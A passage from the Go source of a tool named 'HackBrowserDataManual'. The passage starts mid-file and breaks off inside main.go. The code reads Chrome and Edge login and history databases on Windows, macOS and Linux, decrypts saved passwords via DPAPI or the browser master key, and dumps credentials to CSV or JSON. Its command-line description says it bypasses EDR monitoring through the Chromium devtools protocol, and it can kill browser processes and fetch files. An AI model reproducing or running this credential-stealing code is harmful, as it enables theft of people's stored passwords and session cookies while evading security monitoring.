31 | func (m *Manager) WriteData(b *browser.Browser) error { 32 | if m.OutputFileName == "" { 33 | m.OutputFileName = fmt.Sprintf("%s_%s_%d.%s", b.GetName(), b.Action, time.Now().Unix(), m.ext()) 34 | } 35 | if m.InnerData == nil { 36 | return errors.New("no data to be wrote") 37 | } 38 | outputFile, err := m.createFile(m.OutputFileName) 39 | if err != nil { 40 | return err 41 | } 42 | 43 | log.Infof("Writing results to %s", m.OutputFileName) 44 | return m.write(m.InnerData, outputFile) 45 | } 46 | 47 | func (m *Manager) write(data any, writer io.Writer) error { 48 | switch m.OutputFormat { 49 | case item.Json: 50 | encoder := json.NewEncoder(writer) 51 | encoder.SetIndent(" ", " ") 52 | encoder.SetEscapeHTML(false) 53 | return encoder.Encode(data) 54 | default: 55 | gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter { 56 | writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder())) 57 | writer.Comma = ',' 58 | return gocsv.NewSafeCSVWriter(writer) 59 | }) 60 | return gocsv.Marshal(data, writer) 61 | } 62 | } 63 | 64 | func (m *Manager) createFile(filename string) (*os.File, error) { 65 | var file *os.File 66 | var err error 67 | file, err = os.OpenFile(filepath.Clean(filename), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) 68 | if err != nil { 69 | return nil, err 70 | } 71 | return file, nil 72 | } 73 | 74 | func (m *Manager) ext() string { 75 | if m.OutputFormat == item.Json { 76 | return "json" 77 | } 78 | return "csv" 79 | } 80 | -------------------------------------------------------------------------------- /data/history.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "HackBrowserDataManual/utils" 5 | "database/sql" 6 | _ "github.com/mattn/go-sqlite3" 7 | log "github.com/sirupsen/logrus" 8 | "sort" 9 | "time" 10 | ) 11 | 12 | type HistoryManager struct { 13 | *Manager 14 | } 15 | type historyData struct { 16 | Title string 17 | URL string 18 | VisitCount int 19 | LastVisitTime time.Time 20 | } 21 | 22 | const ( 23 | queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` 24 | ) 25 | 26 | func (hm *HistoryManager) Parse(masterKey []byte, dbfile string) error { 27 | db, err := sql.Open("sqlite3", dbfile) 28 | if err != nil { 29 | return err 30 | } 31 | defer db.Close() 32 | rows, err := db.Query(queryChromiumHistory) 33 | if err != nil { 34 | return err 35 | } 36 | historys := make([]*historyData, 0, 256) 37 | defer rows.Close() 38 | for rows.Next() { 39 | var ( 40 | url, title string 41 | visitCount int 42 | lastVisitTime int64 43 | ) 44 | if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil { 45 | log.Warn(err) 46 | } 47 | data := &historyData{ 48 | URL: url, 49 | Title: title, 50 | VisitCount: visitCount, 51 | LastVisitTime: utils.TimeEpoch(lastVisitTime), 52 | } 53 | historys = append(historys, data) 54 | } 55 | sort.Slice(historys, func(i, j int) bool { 56 | return historys[i].VisitCount > historys[j].VisitCount 57 | }) 58 | hm.InnerData = historys 59 | 60 | return nil 61 | } 62 | -------------------------------------------------------------------------------- /data/password.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "HackBrowserDataManual/crypto" 5 | "HackBrowserDataManual/utils" 6 | "database/sql" 7 | _ "github.com/mattn/go-sqlite3" 8 | log "github.com/sirupsen/logrus" 9 | "sort" 10 | "time" 11 | ) 12 | 13 | const ( 14 | queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` 15 | ) 16 | 17 | type PasswordManager struct { 18 | *Manager 19 | } 20 | 21 | type PasswordsData struct { 22 | UserName string 23 | encryptPass []byte 24 | encryptUser []byte 25 | Password string 26 | LoginURL string 27 | CreateDate time.Time 28 | } 29 | 30 | func (pm *PasswordManager) Parse(masterKey []byte, dbfile string) error { 31 | db, err := sql.Open("sqlite3", dbfile) 32 | if err != nil { 33 | return err 34 | } 35 | defer db.Close() 36 | log.Info("Reading sqlite") 37 | rows, err := db.Query(queryChromiumLogin) 38 | if err != nil { 39 | return err 40 | } 41 | passwords := make([]*PasswordsData, 0, 256) 42 | for rows.Next() { 43 | var ( 44 | url, username string 45 | pwd, password []byte 46 | create int64 47 | ) 48 | if err := rows.Scan(&url, &username, &pwd, &create); err != nil { 49 | log.Warn(err) 50 | } 51 | login := PasswordsData{ 52 | UserName: username, 53 | encryptPass: pwd, 54 | LoginURL: url, 55 | } 56 | if len(pwd) > 0 { 57 | if len(masterKey) == 0 { 58 | password, err = crypto.DPAPI(pwd) 59 | } else { 60 | password, err = crypto.DecryptPass(masterKey, pwd) 61 | } 62 | if err != nil { 63 | log.Error(err) 64 | } 65 | } 66 | if create > time.Now().Unix() { 67 | login.CreateDate = utils.TimeEpoch(create) 68 | } else { 69 | login.CreateDate = utils.TimeStamp(create) 70 | } 71 | login.Password = string(password) 72 | passwords = append(passwords, &login) 73 | } 74 | sort.Slice(passwords, func(i, j int) bool { 75 | return passwords[i].CreateDate.After(passwords[j].CreateDate) 76 | }) 77 | pm.InnerData = &passwords 78 | return nil 79 | } 80 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module HackBrowserDataManual 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/chromedp/cdproto v0.0.0-20240214232516-ad4608604e9e 7 | github.com/chromedp/chromedp v0.9.5 8 | github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a 9 | github.com/mattn/go-sqlite3 v1.14.22 10 | github.com/shirou/gopsutil v3.21.11+incompatible 11 | github.com/sirupsen/logrus v1.9.3 12 | github.com/spf13/cobra v1.8.0 13 | github.com/tidwall/gjson v1.17.1 14 | golang.org/x/crypto v0.33.0 15 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a 16 | golang.org/x/text v0.22.0 17 | ) 18 | 19 | require ( 20 | github.com/chromedp/sysutil v1.0.0 // indirect 21 | github.com/go-ole/go-ole v1.2.6 // indirect 22 | github.com/gobwas/httphead v0.1.0 // indirect 23 | github.com/gobwas/pool v0.2.1 // indirect 24 | github.com/gobwas/ws v1.3.2 // indirect 25 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 26 | github.com/josharian/intern v1.0.0 // indirect 27 | github.com/mailru/easyjson v0.7.7 // indirect 28 | github.com/spf13/pflag v1.0.5 // indirect 29 | github.com/tidwall/match v1.1.1 // indirect 30 | github.com/tidwall/pretty v1.2.1 // indirect 31 | github.com/tklauser/go-sysconf v0.3.11 // indirect 32 | github.com/tklauser/numcpus v0.6.0 // indirect 33 | github.com/yusufpapurcu/wmi v1.2.3 // indirect 34 | golang.org/x/sys v0.30.0 // indirect 35 | ) 36 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/chromedp/cdproto v0.0.0-20230802225258-3cf4e6d46a89 h1:aPflPkRFkVwbW6dmcVqfgwp1i+UWGFH6VgR1Jim5Ygc= 2 | github.com/chromedp/cdproto v0.0.0-20230802225258-3cf4e6d46a89/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs= 3 | github.com/chromedp/cdproto v0.0.0-20240202021202-6d0b6a386732/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs= 4 | github.com/chromedp/cdproto v0.0.0-20240214232516-ad4608604e9e h1:kXEolCWQZzuEFcuaTzfqXToX+e29OcvK87BcBiBBJ1c= 5 | github.com/chromedp/cdproto v0.0.0-20240214232516-ad4608604e9e/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs= 6 | github.com/chromedp/chromedp v0.9.2 h1:dKtNz4kApb06KuSXoTQIyUC2TrA0fhGDwNZf3bcgfKw= 7 | github.com/chromedp/chromedp v0.9.2/go.mod h1:LkSXJKONWTCHAfQasKFUZI+mxqS4tZqhmtGzzhLsnLs= 8 | github.com/chromedp/chromedp v0.9.5 h1:viASzruPJOiThk7c5bueOUY91jGLJVximoEMGoH93rg= 9 | github.com/chromedp/chromedp v0.9.5/go.mod h1:D4I2qONslauw/C7INoCir1BJkSwBYMyZgx8X276z3+Y= 10 | github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic= 11 | github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww= 12 | github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 13 | github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 14 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 15 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 16 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 17 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 18 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 19 | github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= 20 | github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= 21 | github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= 22 | github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= 23 | github.com/gobwas/ws v1.2.1 h1:F2aeBZrm2NDsc7vbovKrWSogd4wvfAxg0FQ89/iqOTk= 24 | github.com/gobwas/ws v1.2.1/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY= 25 | github.com/gobwas/ws v1.3.2 h1:zlnbNHxumkRvfPWgfXu8RBwyNR1x8wh9cf5PTOCqs9Q= 26 | github.com/gobwas/ws v1.3.2/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY= 27 | github.com/gocarina/gocsv v0.0.0-20230616125104-99d496ca653d h1:KbPOUXFUDJxwZ04vbmDOc3yuruGvVO+LOa7cVER3yWw= 28 | github.com/gocarina/gocsv v0.0.0-20230616125104-99d496ca653d/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= 29 | github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a h1:RYfmiM0zluBJOiPDJseKLEN4BapJ42uSi9SZBQ2YyiA= 30 | github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= 31 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 32 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 33 | github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= 34 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= 35 | github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= 36 | github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= 37 | github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= 38 | github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= 39 | github.com/mattn/go-sqlite3 v1.14.17 h1:mCRHCLDUBXgpKAqIKsaAaAsrAlbkeomtRFKXh2L6YIM= 40 | github.com/mattn/go-sqlite3 v1.14.17/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= 41 | github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU= 42 | github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= 43 | github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= 44 | github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0= 45 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 46 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 47 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 48 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= 49 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= 50 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 51 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 52 | github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= 53 | github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= 54 | github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= 55 | github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= 56 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 57 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 58 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 59 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 60 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 61 | github.com/tidwall/gjson v1.15.0 h1:5n/pM+v3r5ujuNl4YLZLsQ+UE5jlkLVm7jMzT5Mpolw= 62 | github.com/tidwall/gjson v1.15.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 63 | github.com/tidwall/gjson v1.17.1 h1:wlYEnwqAHgzmhNUFfw7Xalt2JzQvsMx2Se4PcoFCT/U= 64 | github.com/tidwall/gjson v1.17.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 65 | github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= 66 | github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= 67 | github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= 68 | github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 69 | github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= 70 | github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 71 | github.com/tklauser/go-sysconf v0.3.11 h1:89WgdJhk5SNwJfu+GKyYveZ4IaJ7xAkecBo+KdJV0CM= 72 | github.com/tklauser/go-sysconf v0.3.11/go.mod h1:GqXfhXY3kiPa0nAXPDIQIWzJbMCB7AmcWpGR8lSZfqI= 73 | github.com/tklauser/numcpus v0.6.0 h1:kebhY2Qt+3U6RNK7UqpYNA+tJ23IBEGKkB7JQBfDYms= 74 | github.com/tklauser/numcpus v0.6.0/go.mod h1:FEZLMke0lhOUG6w2JadTzp0a+Nl8PF/GFkQ5UVIcaL4= 75 | github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw= 76 | github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 77 | golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= 78 | golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= 79 | golang.org/x/crypto v0.19.0 h1:ENy+Az/9Y1vSrlrvBSyna3PITt4tiZLf7sgCjZBX7Wo= 80 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 81 | golang.org/x/crypto v0.33.0/go.mod h1:bVdXmD7IV/4GdElGPozy6U7lWdRXA4qyRVGJV57uQ5M= 82 | golang.org/x/exp v0.0.0-20230801115018-d63ba01acd4b h1:r+vk0EmXNmekl0S0BascoeeoHk/L7wmaW2QF90K+kYI= 83 | golang.org/x/exp v0.0.0-20230801115018-d63ba01acd4b/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc= 84 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a h1:HinSgX1tJRX3KsL//Gxynpw5CTOAIPhgL4W8PNiIpVE= 85 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a/go.mod h1:CxmFvTBINI24O/j8iY7H1xHzx2i4OsyguNBmN/uPtqc= 86 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 87 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 88 | golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 89 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 90 | golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= 91 | golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 92 | golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 93 | golang.org/x/sys v0.17.0 h1:25cE3gD+tdBA7lp7QfhuV+rJiE9YXTcS3VG1SqssI/Y= 94 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 95 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 96 | golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= 97 | golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 98 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= 99 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 100 | golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY= 101 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 102 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 103 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 104 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 105 | -------------------------------------------------------------------------------- /item/browser_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package item 4 | 5 | var ( 6 | ChromeUserDataPath = homeDir + "/Library/Application Support/Google/Chrome/" 7 | EdgeUserDataPath = homeDir + "/Library/Application Support/Microsoft Edge/" 8 | ) 9 | -------------------------------------------------------------------------------- /item/browser_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package item 4 | 5 | var ( 6 | ChromeUserDefaultProfile = homeDir + "/.config/google-chrome/Default/" 7 | ChromeUserDataPath = homeDir + "/.config/google-chrome/" 8 | EdgeDefaultProfile = homeDir + "/.config/microsoft-edge/Default/" 9 | ) 10 | -------------------------------------------------------------------------------- /item/browser_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package item 4 | 5 | var ( 6 | ChromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/" 7 | EdgeUserDataPath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/" 8 | ) 9 | -------------------------------------------------------------------------------- /item/item.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | import "os" 4 | 5 | var homeDir, _ = os.UserHomeDir() 6 | 7 | const ( 8 | DefaultProfile = "/Default/" 9 | ) 10 | 11 | const ( 12 | Chrome = "chrome" 13 | Edge = "edge" 14 | ) 15 | 16 | const ( 17 | ChromiumKey = "Local State" 18 | ChromiumPassword = "Login Data" 19 | ChromiumCookie = "Network/Cookies" 20 | ChromiumHistory = "History" 21 | ) 22 | 23 | const ( 24 | Password = "password" 25 | Cookie = "cookie" 26 | History = "history" 27 | ) 28 | 29 | const ( 30 | Json = "json" 31 | CSV = "csv" 32 | ) 33 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "HackBrowserDataManual/browser" 5 | "HackBrowserDataManual/data" 6 | "HackBrowserDataManual/item" 7 | "errors" 8 | log "github.com/sirupsen/logrus" 9 | "github.com/spf13/cobra" 10 | "os" 11 | "path/filepath" 12 | ) 13 | 14 | var rootCmd *cobra.Command 15 | 16 | func init() { 17 | var targetBrowser string 18 | var masterKeyFile string 19 | var inputFileName string 20 | var outputFileName string 21 | var outputFormat string 22 | var userDir string 23 | var logLevel string 24 | var kill bool 25 | 26 | binaryName := filepath.Base(os.Args[0]) 27 | rootCmd = &cobra.Command{ 28 | Use: binaryName, 29 | Short: `extract password/history/cookie. 30 | bypass edr monitor of browser data file by using Chromium devtools protocol`, 31 | CompletionOptions: cobra.CompletionOptions{ 32 | DisableDefaultCmd: true, 33 | }, 34 | PersistentPreRun: func(cmd *cobra.Command, args []string) { 35 | switch logLevel { 36 | case "info": 37 | log.SetLevel(log.InfoLevel) 38 | case "error": 39 | log.SetLevel(log.ErrorLevel) 40 | default: 41 | log.SetLevel(log.InfoLevel) 42 | } 43 | }, 44 | } 45 | rootFlags := rootCmd.PersistentFlags() 46 | rootFlags.StringVarP(&targetBrowser, "browser", "b", item.Chrome, "browser(chrome/edge)") 47 | rootFlags.StringVarP(&logLevel, "log", "l", "info", "log level(info, error)") 48 | 49 | runCmd := &cobra.Command{ 50 | Use: "run", 51 | Short: "Parse all browser cookie, password and history", 52 | RunE: func(cmd *cobra.Command, args []string) error { 53 | for _, t := range []string{item.Cookie, item.Password, item.History} { 54 | err := runE(targetBrowser, t, masterKeyFile, "", "", outputFormat, kill) 55 | if err != nil { 56 | log.Infof("get %s for %s failed: ", t, targetBrowser) 57 | } 58 | } 59 | return nil 60 | }, 61 | } 62 | 63 | runPersistentFlags := runCmd.PersistentFlags() 64 | runPersistentFlags.StringVarP(&outputFormat, "format", "f", item.CSV, "Output format(csv/json)") 65 | 66 | runFlags := runCmd.Flags() 67 | runFlags.BoolVar(&kill, "kill", false, "kill existing browser process") 68 | 69 | passwordCmd := &cobra.Command{ 70 | Use: "password", 71 | Short: "Parse browser Password file", 72 | RunE: func(cmd *cobra.Command, args []string) error { 73 | return runE(targetBrowser, item.Password, masterKeyFile, inputFileName, outputFileName, outputFormat, kill) 74 | }, 75 | } 76 | 77 | passwordFlags := passwordCmd.Flags() 78 | passwordFlags.StringVarP(&masterKeyFile, "key", "k", "", "browser master key file") 79 | passwordFlags.StringVarP(&inputFileName, "input", "i", "", "Password file") 80 | passwordFlags.StringVarP(&outputFileName, "output", "o", "", "Output file") 81 | 82 | cookieCmd := &cobra.Command{ 83 | Use: "cookie", 84 | Short: "Parse browser cookie file", 85 | RunE: func(cmd *cobra.Command, args []string) error { 86 | return runE(targetBrowser, item.Cookie, masterKeyFile, inputFileName, outputFileName, outputFormat, kill) 87 | }, 88 | } 89 | 90 | cookieFlags := cookieCmd.Flags() 91 | cookieFlags.StringVarP(&masterKeyFile, "key", "k", "", "browsr master key file") 92 | cookieFlags.StringVarP(&inputFileName, "input", "i", "", "Cookie file") 93 | cookieFlags.StringVarP(&outputFileName, "output", "o", "", "Output file") 94 | cookieFlags.BoolVar(&kill, "kill", false, "kill existing browser process") 95 | 96 | historyCmd := &cobra.Command{ 97 | Use: "history", 98 | Short: "Parse browser history file", 99 | RunE: func(cmd *cobra.Command, args []string) error { 100 | return runE(targetBrowser, item.History, masterKeyFile, inputFileName, outputFileName, outputFormat, false) 101 | }, 102 | } 103 | 104 | historyFlags := historyCmd.Flags() 105 | historyFlags.StringVarP(&inputFileName, "input", "i", "", "Password file") 106 | historyFlags.StringVarP(&outputFileName, "output", "o", "", "Output file") 107 | 108 | devToolCmd := &cobra.Command{ 109 | Use: "devtool", 110 | Short: "Using dev tool protocol to extract cookies.", 111 | RunE: func(cmd *cobra.Command, args []string) error { 112 | var browserInstance *browser.Browser 113 | switch targetBrowser { 114 | case item.Chrome: 115 | browserInstance = &browser.Browser{ 116 | UserDir: userDir, 117 | Action: item.Cookie, 118 | Util: &browser.ChromeUtil{}, 119 | } 120 | case item.Edge: 121 | browserInstance = &browser.Browser{ 122 | UserDir: userDir, 123 | Action: item.Cookie, 124 | Util: &browser.EdgeUtil{}, 125 | } 126 | default: 127 | log.Fatalf("invalid browser type %s", targetBrowser) 128 | } 129 | // check if there is browser process 130 | killed, err := browserInstance.CheckBrowser(kill) 131 | if err != nil { 132 | if errors.Is(err, &browser.ChromeExistError{}) { 133 | log.Infof("Chrome process exist, cookie may cannot be parsed") 134 | } else { 135 | return err 136 | } 137 | } 138 | if killed { 139 | defer browserInstance.RestoreBrowser() 140 | } 141 | cookies, err := browserInstance.ParseCookies() 142 | if err != nil { 143 | return err 144 | } 145 | cookieManager := &data.CookieManager{ 146 | Manager: &data.Manager{ 147 | OutputFormat: outputFormat, 148 | OutputFileName: outputFileName, 149 | InnerData: cookies, 150 | }, 151 | } 152 | return cookieManager.WriteData(browserInstance) 153 | }, 154 | } 155 | 156 | devToolFlags := devToolCmd.Flags() 157 | devToolFlags.StringVarP(&userDir, "userDir", "d", "", "user home dir") 158 | devToolFlags.BoolVar(&kill, "kill", false, "kill existing browser process") 159 | devToolFlags.StringVarP(&outputFileName, "output", "o", "", "Output file") 160 | 161 | downloadCmd := &cobra.Command{ 162 | Use: "download [file path]", 163 | Short: "download file via dev tool protocol", 164 | Args: cobra.ExactArgs(1), 165 | RunE: func(cmd *cobra.Command, args []string) error { 166 | var browserInstance *browser.Browser 167 | switch targetBrowser { 168 | case item.Chrome: 169 | browserInstance = &browser.Browser{ 170 | Util: &browser.ChromeUtil{}, 171 | } 172 | case item.Edge: 173 | browserInstance = &browser.Browser{ 174 | Util: &browser.EdgeUtil{}, 175 | } 176 | default: 177 | log.Fatalf("invalid browser %s", targetBrowser) 178 | } 179 | downloadPath, err := browserInstance.Download(args[0]) 180 | if err != nil { 181 | return err 182 | } 183 | log.Infof("download %s to %s", args[0], downloadPath) 184 | return nil 185 | }, 186 | } 